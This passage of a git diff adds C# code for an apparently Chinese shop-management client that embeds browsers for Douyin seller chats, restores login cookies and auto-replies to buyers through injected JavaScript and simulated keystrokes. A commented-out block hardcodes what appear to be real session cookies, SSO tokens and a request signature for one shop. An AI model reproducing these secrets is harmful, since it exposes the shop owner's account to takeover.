+ + var cookieManager = mainWebBrowser.RequestContext.GetCookieManager(null); + cookieManager.DeleteCookiesAsync("jinritemai.com", null).Wait(); + CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cookieManager); + + mainWebBrowser.Load("https://fxg.jinritemai.com/ffa/mshop/homepage/index"); + } + + /// + /// + /// + /// + /// false表示已经掉线,需要登录 + public bool AutoCheckShopLoginStatus(DouShopLoginInfo shop) + { + if (shop == null) + return false; + + var browser = shop.Chat; + if (browser.IsBrowserInitialized) + { + var jsStr = "function getNeedLogin() {\r\n" + + "var bodyHtml = document.body.innerHTML;\r\n" + + "return bodyHtml.indexOf('登录即代表同意') >= 0 || bodyHtml.indexOf('请输入密码') >= 0 || bodyHtml.indexOf('登录过期') >= 0 /*|| bodyHtml.indexOf('重新登录') >= 0*//*修改密码后出现*/;\r\n" + + "}\r\n" + + "getNeedLogin();\r\n"; + + var html = ""; + if (browser.IsBrowserInitialized) + { + var t1 = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + html = t1.Result?.Result?.ToString()?.ToLower(); + } + + if (html == "true") + { + Invoke(new Action(() => { browser.Load("about:blank"); })); + return true; + } + } + return false; + } + + /// + /// 店铺掉线自动重登 + /// + /// + public void AutoReLogin(DouShopLoginInfo shop) + { + try + { + // 如需登录,引导至登录窗口,禁止从聊天窗口登录。 + Invoke(new Action(() => + { + // 登录抖音小店 + ShopLoginForm lf = new ShopLoginForm(shop); + lf.ShowDialog(); + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + })); + + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + LoadShop(new List() { shop }); + if (shop.LoginStatus == "登录成功") + { + ShowChat(shop); + while (shop.Chat.IsLoading) + { + Thread.Sleep(50); + } + } + } + catch + { + + } + } + + string GetBrowserHtml(ChromiumWebBrowser browser) + { + try + { + if (browser == null) + return null; + var task = browser.GetBrowser().MainFrame.GetSourceAsync(); + bool isflag = task.Wait(5000); + if (!isflag) + return null; + //Thread.Sleep(500); + return task.Result; + } + catch + { + return null; + } + } + + public void ShowChat(DouShopLoginInfo shop) + { + while (shop.Chat?.IsBrowserInitialized != true) + { + Thread.Sleep(50); + } + // 设置cef cookie + if (shop.Chat != null && shop.Chat.IsBrowserInitialized) + { + var cookieManager = shop.Chat.RequestContext.GetCookieManager(null); + + cookieManager.DeleteCookiesAsync("jinritemai.com", null).Wait(); + CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, shop.Chat.RequestContext.GetCookieManager(null)); + + //shop.Chat.Load("https://im.jinritemai.com/pc_seller/main/chat?selfId=4292110529608375"); + if (shop.LoginStatus == "登录成功") + shop.Chat.Load("https://im.jinritemai.com/pc_seller/main/chat"); + } + } + + public void LoadShop(List shopList = null) + { + if (shopList == null) + shopList = new List(); + + if (shopList.Count == 0) + shopList.AddRange(GlobalConfig.DouShopLoginList); + + for (int i = 0; i < shopList.Count; i++) + { + var shop = shopList[i]; + DouShopLoginInfo result = new DouShopLoginInfo(); + result.ShopAccountId = shop.ShopAccountId; + result.ShopAccount = shop.ShopAccount; + result.LoginStatus = shop.LoginStatus; + + var r = dgvShop.Rows.Cast().FirstOrDefault(x => x.Cells["columnShopId"].Value.ToString() == shop.ShopAccountId); + this.Invoke(new Action(() => + { + int iGrid = 0; + if (r == null) + iGrid = dgvShop.Rows.Add(); + else + iGrid = r.Index; + + dgvShop.Rows[iGrid].Cells["ColumnShopID"].Value = shop.ShopAccountId; // 店铺ID + dgvShop.Rows[iGrid].Cells["ColumnShopName"].Value = shop.ShopAccount; // 店铺名称 + dgvShop.Rows[iGrid].Cells["ColumnShopStatus"].Value = shop.LoginStatus == "未登录" ? "未登录 点击登录" : shop.LoginStatus; // 登录状态 + dicRowColor[dgvShop.Rows[iGrid]] = dgvShop.Rows[iGrid].DefaultCellStyle.BackColor; + + if (shop.Chat == null) + { + LocationXY += 5; + shop.X = LocationXY % LocationSize; + shop.Y = LocationXY / LocationSize; + RequestContextSettings requestContextSettings = new RequestContextSettings(); + requestContextSettings.PersistSessionCookies = false; + requestContextSettings.PersistUserPreferences = false; + try + { + var cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + //new ChromiumWebBrowser("https://im.jinritemai.com/pc_seller/main/chat?selfId=4292110529608375"); + + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + + var lifeHandler = new LifeSpanHandlerLocal(PopWindowType.NewTitleWindow); + lifeHandler.OnPop += LifeHandler_OnPop; + lifeHandler.parent = cefWebBrowser; + cefWebBrowser.LifeSpanHandler = lifeHandler; + + cefWebBrowser.RequestContext = new RequestContext(requestContextSettings); + cefWebBrowser.Dock = DockStyle.Fill; //DockStyle.None; + cefWebBrowser.Location = new Point(shop.X, shop.Y); + shop.Chat = cefWebBrowser; + panel1.Controls.Add(shop.Chat); + + if (i == 0) + currentShop = shop; + + Task.Run(() => + { + ShowChat(shop); + }); + } + catch (Exception ex) + { + return; + } + } + })); + } + } + + private void MainLifeHandler_OnPop(object sender, PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as LifeSpanHandlerLocal; + + Task.Run(() => + { + if (lifeHandler.parent != null) + { + var cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + Invoke(new Action(() => + { + CefForm cefForm = new CefForm(targetUrl, cookies); + cefForm.Show(); + })); + } + }); + } + + private void LifeHandler_OnPop(object sender, PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as LifeSpanHandlerLocal; + + Task.Run(() => + { + if (e.Url.StartsWith("https://haohuo.jinritemai.com/views/product/item")) + { + var productId = BaseRegex.GetMatchRegexString(ref targetUrl, "&id=(\\d{5,30})"); + if (!string.IsNullOrEmpty(productId)) + { + long product_id = productId.ParseToLong(); + if (product_id > 0) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string datax = "&pid=" + product_id + "&table=" + (product_id % 1024); + string htmlx = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + string id = BaseRegex.GetMatchRegexString(htmlx, @"([\d]+)"); + if (htmlx.StartsWith("tb")) + targetUrl = "https://item.taobao.com/item.htm?id=" + id; + if (htmlx.StartsWith("pd")) + targetUrl = "https://mobile.yangkeduo.com/goods.html?goods_id=" + id; + if (htmlx.StartsWith("al")) + targetUrl = "https://detail.1688.com/offer/" + id + ".html"; + if (htmlx.StartsWith("dy")) + targetUrl = "https://weidian.com/item.html?itemID=" + id; + } + } + } + if (lifeHandler.parent != null) + { + var cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + Invoke(new Action(() => + { + CefForm cefForm = new CefForm(targetUrl, cookies); + cefForm.Show(); + })); + } + }); + } + + public Dictionary ShopChatCount = new Dictionary(); + + /// + /// 获取店铺是否有信息 + /// + /// + /// + private void button4_Click(object sender, EventArgs e) + { + //string url = " https://fxg.jinritemai.com/byteshop/broadcast/getIMUnReplyCustomerNum?appid=1&__token=cbaf9d55f488de9de759c2e9de4f9152&_lid=246050185023&_signature=_02B4Z6wo00901prG3SwAAIDBKjcx559pBB6awtmAAMZ2InLzVWKpqWJnptmwhx6Axo5nVtr92zD-a2wI1GAiNviGKrpRnJTAL.hhmniDgXMMnFfzXb7nVj4tluChrVjjRQtlDCcwZSSPWy.13f"; + //string refere = "https://fxg.jinritemai.com/ffa/mshop/homepage/index"; + //string cookies = "ttcid=e377739c28ce4d18874fa6254b5aae0725; d_ticket=fd4f4a000273570e1b0a578f3c4b63e9c94fb; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; passport_csrf_token_default=b4ef061103fdd818fe8746ec1fae1aef; passport_csrf_token=b4ef061103fdd818fe8746ec1fae1aef; gfpart_1.0.0.94_74391=1; gfpart_1.0.0.695_75006=0; SHOP_ID=9050819; PIGEON_CID=4292110529608375; uidpasaddaehruigqreajf=0; s_v_web_id=verify_kqc1ijuf_5YXfMRjv_Moz5_4gr6_8XNu_0p8ukrjQchfx; ttwid=1%7CQ2FXDv1XIHPVZa_hjjk6pZMPJKpmh59Y9QK9SmHGygE%7C1624866462%7Cba22e39f1164af8fa41006ee4c3be28cc85a33c88bb6c8ac62c67dc10e947420; sso_uid_tt=c365c31887ab82602bc259ea1b07a262; sso_uid_tt_ss=c365c31887ab82602bc259ea1b07a262; toutiao_sso_user=ebe18833115e031bff671e946179e29a; toutiao_sso_user_ss=ebe18833115e031bff671e946179e29a; odin_tt=d28cc07aacedc7065370ef3130a156b0307970e1a25f4cc0771804fad95158f8062f22e2e561a5be77c3ac019926791629bec184551ea5e752dc57925bf8c65a; gfpart_1.0.0.4760_75570=1; ucas_sso_c0_ss=CkEKBTEuMC4wEJ6Ig6Db5d_sYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0C1_uWGBki1sqKJBlCOvKLE77ansWBYbhIUidlOg6VtyUt7SIO_Fb0g2QfJAPc; ucas_sso_c0=CkEKBTEuMC4wEJ6Ig6Db5d_sYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0C1_uWGBki1sqKJBlCOvKLE77ansWBYbhIUidlOg6VtyUt7SIO_Fb0g2QfJAPc; ucas_c0_ss=CkEKBTEuMC4wEI6Ij_7O5d_sYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0C1_uWGBki1sqKJBlCOvKLE77ansWBYbhIU1pl84_FKJDuhWOeYpRoGfYdTYro; sid_guard=6b626ebb4c35cfa047b5336166d9f38f%7C1624866613%7C5184000%7CFri%2C+27-Aug-2021+07%3A50%3A13+GMT; uid_tt=124a8219f77a85f9a7440449283ba2af; uid_tt_ss=124a8219f77a85f9a7440449283ba2af; sid_tt=6b626ebb4c35cfa047b5336166d9f38f; sessionid=6b626ebb4c35cfa047b5336166d9f38f; sessionid_ss=6b626ebb4c35cfa047b5336166d9f38f; ucas_c0=CkEKBTEuMC4wEI6Ij_7O5d_sYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0C1_uWGBki1sqKJBlCOvKLE77ansWBYbhIU1pl84_FKJDuhWOeYpRoGfYdTYro; PHPSESSID=867244d48bdc5b1e00fcfbfb70b0c755; PHPSESSID_SS=867244d48bdc5b1e00fcfbfb70b0c755; need_choose_shop=0; login_info=%7B%22for_im_reply%22%3A%22867244d48bdc5b1e00fcfbfb70b0c755%22%7D; gftoken=NmI2MjZlYmI0Y3wxNjI0ODY2NjI3NDB8fDAGBgYGBgY; source=seo.baidu; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1624517617,1624600241,1624866399,1625023259; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1625023261; tt_scid=IxysFV-v2TAGPLjDxdlg8h-dhjnwZ9NA7Cqz2oaUqu4irVH4n1Yiz3Hu72AeZh4F8425; MONITOR_WEB_ID=4292110529608375"; + //string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + //int count = BaseRegex.GetIntJson(ref html, "un_replay_customer_num"); + //string shopId = "111111"; + //int oldCount = 0; + //if (ShopChatCount.ContainsKey(shopId)) + //{ + // oldCount = ShopChatCount[shopId]; + //} + //if (oldCount == count) + // return;//countinue; + //ShopChatCount[shopId] = count; + //if (count > 0) + //{ + // var shop = GlobalConfig.DouShopLoginList.Where(s => s.ShopId == shopId).FirstOrDefault(); + // SearchNewMessageNofity(shop); + //} + } + + private void min_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + ShowInTaskbar = true; + } + + private void max_Click(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + max.Style.BackgroundImage = Properties.Resources.normal; + max.StyleMouseOver.BackgroundImage = Properties.Resources.normal_hover; + } + else if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + max.Style.BackgroundImage = Properties.Resources.max; + max.StyleMouseOver.BackgroundImage = Properties.Resources.max_hover; + } + } + + private void close_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("是否关闭客户端?", "系统提示", FormLevel.SMALL).DialogResult.Equals(DialogResult.Cancel)) + return; + this.Close(); + } + + private void panel2_DoubleClick(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + return; + } + if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + } + } + + public void InitAutoExecute() + { + Task.Run(() => + { + while (true) + { + foreach (var shop in GlobalConfig.DouShopLoginList) + { + try + { + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(300, 500)); + bool needReLogin = AutoCheckShopLoginStatus(shop); + if (ChatConfig.ChatSettingConfig.IsAutoReLogin && needReLogin) + AutoReLogin(shop); + + if (shop.LoginStatus != "登录成功") + continue; + + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(300, 500)); + AutoReConnect(shop); + + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(300, 500)); + AutoCloseMaskWindow(shop); + + + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(300, 500)); + var isNewMessage = AutoGetNewMessage(shop); + while (isNewMessage && ChatConfig.ChatSettingConfig.IsAutoReply) + { + AutoReplyWithJs(shop); + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(300, 500)); + isNewMessage = AutoGetNewMessage(shop); + } + } + catch (Exception ex) + { + } + } + } + }); + + Task.Run(() => + { + var sleepTime = 1000; + while (true) + { + Thread.Sleep(sleepTime); + var jsStr = "function getVideo() {\r\n" + + " var videos = document.getElementsByTagName('video')\r\n" + + " if (videos && videos.length > 0) {\r\n" + + " var src = videos[0].src;\r\n" + + " videos[0].parentElement.parentElement.click();\r\n" + + " return src;\r\n" + + " //return '';\r\n" + + " }\r\n" + + " return '';\r\n" + + "}" + + "getVideo();\r\n"; + if (currentShop?.Chat != null && currentShop.Chat.IsBrowserInitialized) + { + var t = currentShop.Chat.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + if (!string.IsNullOrEmpty(t.Result?.Result?.ToString())) + { + Invoke(new Action(() => + { + AllBase.GetHtml.OpenUrl(t.Result.Result.ToString()); + })); + } + } + } + }); + + Task.Run(() => + { + var sleepTime = 2500; + while (true) + { + try + { + Thread.Sleep(sleepTime); + var jsStr1 = "function ClosePopWindow() {\r\n" + + " var result = 'no_pop'\r\n" + + " var item = document.getElementsByClassName('anticon-close-circle');\r\n" + + " for(i = 0; i < item.length; i++) {\r\n" + + " item[i].click();\r\n" + + " result = 'success'\r\n" + + " }\r\n" + + " return result;\r\n" + + "}\r\n" + + "ClosePopWindow();\r\n"; + var jsStr2 = "function clickPopWindow() {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf('知道了') >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_pop';\r\n" + + "}\r\n" + + "clickPopWindow();\r\n"; + if (mainWebBrowser.IsBrowserInitialized) + { + var t1 = mainWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr1); + t1.Wait(); + var t2 = mainWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr2); + t2.Wait(); + if (t1.Result?.Result?.ToString() == "success" || t2.Result?.Result?.ToString() == "success") + sleepTime = Randomx.GetId(550, 650); + else + sleepTime = Randomx.GetId(2500, 3000); + } + } + catch (Exception ex) { } + } + }); + } + + private void chkIsAutoReLogin_CheckedChanged(object sender, EventArgs e) + { + ChatConfig.ChatSettingConfig.IsAutoReLogin = chkIsAutoReLogin.Checked; + ChatConfig.SaveChatSettingParam(); + + GlobalConfig.DouShopSettingParam.IsAutoDragLogin = chkIsAutoReLogin.Checked; + } + + private void chkIsAutoReply_CheckedChanged(object sender, EventArgs e) + { + ChatConfig.ChatSettingConfig.IsAutoReply = chkIsAutoReply.Checked; + ChatConfig.SaveChatSettingParam(); + } + + private void txtAutoReplyText_TextChanged(object sender, EventArgs e) + { + ChatConfig.ChatSettingConfig.AutoReplayText = txtAutoReplyText.Text; + ChatConfig.SaveChatSettingParam(); + } + private void cmbMessage_SelectedIndexChanged(object sender, EventArgs e) + { + ChatConfig.ChatSettingConfig.MessageSound = this.cmbMessage.SelectedItem.ToString(); + ChatConfig.SaveChatSettingParam(); + } + + private void panel2_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void panel2_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + { + var control = sender as Control; + if (control == null) + return; + + //获取鼠标的位置 + Point mousePos = MousePosition; + var x = mouseOffset.X; + var y = mouseOffset.Y; + while (control.Parent != null && control.Parent != this) + { + x -= control.Location.X; + y -= control.Location.Y; + control = control.Parent; + } + mousePos.Offset(x, y); + Location = mousePos; + } + } + + private void panel2_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + /// + /// 自动关闭遮罩层 + /// + /// + public void AutoCloseMaskWindow(DouShopLoginInfo shop) + { + if (shop?.Chat != null) + { + var browser = shop.Chat; + var jsStr = "function clickMaskWindow() {\r\n" + + " var masks = document.getElementsByClassName('ant-modal-wrap');\r\n" + + " for (i = 0; i < masks.length; i++) {\r\n" + + " masks[i].click();\r\n" + + " }\r\n" + + "}\r\n" + + "clickMaskWindow();\r\n"; + var t = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + } + } + + /// + /// 自动重连 + /// + /// + public void AutoReConnect(DouShopLoginInfo shop) + { + if (shop?.Chat != null) + { + var browser = shop.Chat; + var jsStr = "function reConnect() {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf('重新连接') >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'failed'\r\n" + + "}\r\n" + + "reConnect();\r\n"; + var t = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + } + } + + /// + /// 自动回复 + /// + /// + public void AutoReplyWithJs(DouShopLoginInfo shop) + { +#if DEBUG + //if (shop.ShopId != "9050819") // 测试模式只回复开箱小店 + // return; +#endif + if (shop?.Chat == null) + return; + + var webBrowser = shop.Chat; + var host = webBrowser.GetBrowser().GetHost(); + + // 获取回复框坐标 + int x = 0, y = 0; + string code = "function getPos() { var box = document.getElementsByTagName('textarea');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(code); + task.Wait(); + var result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + Thread.Sleep(new Random(DateTime.Now.Millisecond).Next(500, 1000)); + + // 输入自动回复内容 + string content = ChatConfig.ChatSettingConfig.AutoReplayText; + var jsStr = "var txt1 = document.getElementsByTagName('textarea')[0]; txt1.focus(); txt1.click(); txt1.value='" + content + " '"; + var response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + + // 模拟输入退格键 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + + jsStr = "function getTextAreaText() { var txtArea = document.getElementsByTagName('textarea')[0]; if (txtArea) return txtArea.value; return ''; } getTextAreaText();"; + var response1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response1.Wait(2000); + + if (response1.Result?.Result?.ToString() != content && response1.Result?.Result?.ToString() != content + " ") + { + LogSave.Add("自动回复失败,尝试使用剪贴板自动回复功能。-----" + response1.Result?.Result?.ToString()); + int x1 = x + new Random(DateTime.Now.Millisecond).Next(5, 75); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(5, 25); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + + Invoke(new Action(() => + { + Clipboard.Clear(); + Clipboard.SetDataObject("" + content); // 获取自动回复文字 + })); + + // 黏贴 ctrl + v + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + } + // 回车回复 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 13, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + } + } + + /// + /// 判断是否有新留言 + /// + /// + /// + public bool AutoGetNewMessage(DouShopLoginInfo shop) + { + bool isNewMessage = false; + if (shop?.Chat != null) + { + var browser = shop.Chat; + var jsStr = ""; + jsStr += "function clickCurrentMessage() {\r\n"; + jsStr += " var child = document.body.firstElementChild;\r\n"; + jsStr += " var element1 = null;\r\n"; + jsStr += " while (child) {\r\n"; + jsStr += " var bodyHtml = child.innerHTML;\r\n"; + jsStr += " if (bodyHtml.indexOf('messageList') >= 0)\r\n"; + jsStr += " bodyHtml = bodyHtml.substring(0, bodyHtml.indexOf('messageList'));\r\n"; + jsStr += " if (bodyHtml.indexOf('接待人数') >= 0)\r\n"; + jsStr += " bodyHtml = bodyHtml.substring(0, bodyHtml.indexOf('接待人数'));\r\n"; + jsStr += " if (bodyHtml.indexOf('<30秒<') >= 0 || bodyHtml.indexOf('>30秒<') >= 0 || bodyHtml.indexOf('分30秒<') >= 0 " + + "|| bodyHtml.indexOf('>1分钟<') >= 0 || bodyHtml.indexOf('>2分钟<') >= 0 || bodyHtml.indexOf('>3分钟<') >= 0 " + + "|| bodyHtml.indexOf('>4分钟<') >= 0 || bodyHtml.indexOf('>5分钟<') >= 0 || bodyHtml.indexOf('>6分钟<') >= 0 " + + "|| bodyHtml.indexOf('>7分钟<') >= 0 || bodyHtml.indexOf('>8分钟<') >= 0 || bodyHtml.indexOf('>9分钟<') >= 0 " + + "|| bodyHtml.indexOf('>10分钟<') >= 0) {\r\n"; + jsStr += " element1 = child;\r\n"; + jsStr += " if (child.firstElementChild) {\r\n"; + jsStr += " child = child.firstElementChild; continue;\r\n"; + jsStr += " } else break;\r\n"; + jsStr += " }\r\n"; + jsStr += " child = child.nextElementSibling;\r\n"; + jsStr += " }\r\n"; + jsStr += " if (element1) {\r\n"; + if (ChatConfig.ChatSettingConfig.IsAutoReply) // 如果是自动回复,点击一下稍后要回复的用户名。 + jsStr += " element1.click(); "; + jsStr += " return 'success';\r\n"; + jsStr += " } else {"; + jsStr += " return 'no_message';"; + jsStr += " }\r\n"; + jsStr += "}\r\n"; + jsStr += "clickCurrentMessage();\r\n"; + + var t = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + if (t.Result?.Result?.ToString().StartsWith("success") == true) + isNewMessage = true; + + //jsStr = ""; + //jsStr += "var result='';\r\n"; + //jsStr += "var nodes=[];\r\n"; + //jsStr += "nodes.push(document.body);\r\n"; + //jsStr += "function getItems() {\r\n"; + //jsStr += " for (i = 0; i < nodes.length; i++) {\r\n"; + //jsStr += " var node1 = nodes[i];\r\n"; + //jsStr += " if ((node1.nodeType != 3) && (node1.nodeName != 'SCRIPT') &&\r\n"; + //jsStr += " ((node1.innerHTML + '<').indexOf('30秒<') >= 0 || (node1.innerHTML + '<').indexOf('分钟<') >= 0 || (node1.innerHTML + '<').indexOf('小时<') >= 0)) {\r\n"; + //jsStr += " if (!node1.firstElementChild || node1.endWith) { result += node1.parentElement.parentElement.innerHTML + '-----'; }\r\n"; + //jsStr += " else { for (j = 0; j < node1.childNodes.length; j++) nodes.push(node1.childNodes[j]); }\r\n"; + //jsStr += " }\r\n"; + //jsStr += " }\r\n"; + //jsStr += " return result;\r\n"; + //jsStr += "}\r\n"; + //jsStr += "getItems();\r\n"; + } + + if (isNewMessage) + { + ShopChatCount[shop.ShopAccountId] = 1; + SearchNewMessageNofity(shop); + if (!ChatConfig.ChatSettingConfig.IsNotShowMessageWindow) + ShowMessageForm(shop); + ShowFlash(); + playSound(); + } + else + { + ShopChatCount[shop.ShopAccountId] = 0; + SearchNewMessageNofity(shop); + CloseMessageForm(shop); + } + + return isNewMessage; + } + + /// + /// 显示右下角消息弹框 + /// + /// + private void ShowMessageForm(DouShopLoginInfo shop) + { + if (!lstChatMessageForm.Any(f => f.shop == shop)) + { + Invoke(new Action(() => + { + ChatMessageForm cmf = new ChatMessageForm(shop, this); + cmf.Dragable = false; + cmf.ShowMinimizedBox = false; + lstChatMessageForm.Add(cmf); + Point p = new Point(Screen.PrimaryScreen.WorkingArea.Width - cmf.Width, Screen.PrimaryScreen.WorkingArea.Height); + cmf.PointToScreen(p); + cmf.Location = p; + cmf.Show(); + })); + } + } + + private void CloseMessageForm(DouShopLoginInfo shop) + { + var form = lstChatMessageForm.FirstOrDefault(f => f.shop == shop); + if (form != null) + { + Invoke(new Action(() => + { + lstChatMessageForm.Remove(form); + form.Close(); + this.TopMost = false; + })); + } + } + + /// + /// 任务栏闪烁 + /// + public void ShowFlash() + { + Task.Run(() => + { + for (int i = 0; i < 5; i++) + { + Invoke(new Action(() => + { + FlashWindow(Handle, true); + })); + Thread.Sleep(1100); + } + }); + } + + /// + /// 任务栏闪烁 + /// + /// + /// + /// + [DllImport("user32.dll")] + public static extern bool FlashWindow( + IntPtr hWnd, // handle to window + bool bInver // flash status + ); + + private void button1_Click(object sender, EventArgs e) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == "9050819"); + Task.Run(() => { AutoReplyWithJs(shop); }); + } + + private void pnlSet_Click(object sender, EventArgs e) + { + + } + + private void button2_Click(object sender, EventArgs e) + { + if (mainWebBrowser != null) + { + AllBase.GetHtml.OpenUrl(textBox1.Text); + } + } + + [DllImport("winmm.dll")] + public static extern uint mciSendString(string lpstrCommand, string lpstrReturnString, uint uReturnLength, uint hWndCallback); + /// + /// 播放提示音 + /// + public void playSound() + { + string musicname = "默认提示音"; + if (!string.IsNullOrEmpty(ChatConfig.ChatSettingConfig.MessageSound)) + musicname = ChatConfig.ChatSettingConfig.MessageSound; + if (musicname == "无") + return; + if (musicname == "默认提示音") + musicname = "9527.wav"; + else + musicname = musicname + ".mp3"; + + if (musicname.Contains("wav")) + { + try + { + SoundPlayer sound = new SoundPlayer("temp/" + musicname); + sound.Play(); + } + catch + { + + } + } + if (musicname.Contains("mp3")) + { + try + { + mciSendString(@"close ""temp/" + musicname + @"""", null, 0, 0); + mciSendString(@"open ""temp/" + musicname + @"""", null, 0, 0); + mciSendString(@"play ""temp/" + musicname + @"""", null, 0, 0); + } + catch + { } + } + } + + private void pnlRefresh_Click(object sender, EventArgs e) + { + LoadShop(); + } + + private void chkNotShowMessageWindow_CheckedChanged(object sender, EventArgs e) + { + ChatConfig.ChatSettingConfig.IsNotShowMessageWindow = chkNotShowMessageWindow.Checked; + ChatConfig.SaveChatSettingParam(); + } + } +} diff --git a/TEMUKJD/ChatForms/ChatForm.designer.cs b/TEMUKJD/ChatForms/ChatForm.designer.cs new file mode 100644 index 0000000..2a26ad9 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatForm.designer.cs @@ -0,0 +1,686 @@ +namespace LittleRabbit.ChatForms +{ + partial class ChatForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.chkNotShowMessageWindow = new System.Windows.Forms.CheckBox(); + this.cmbMessage = new 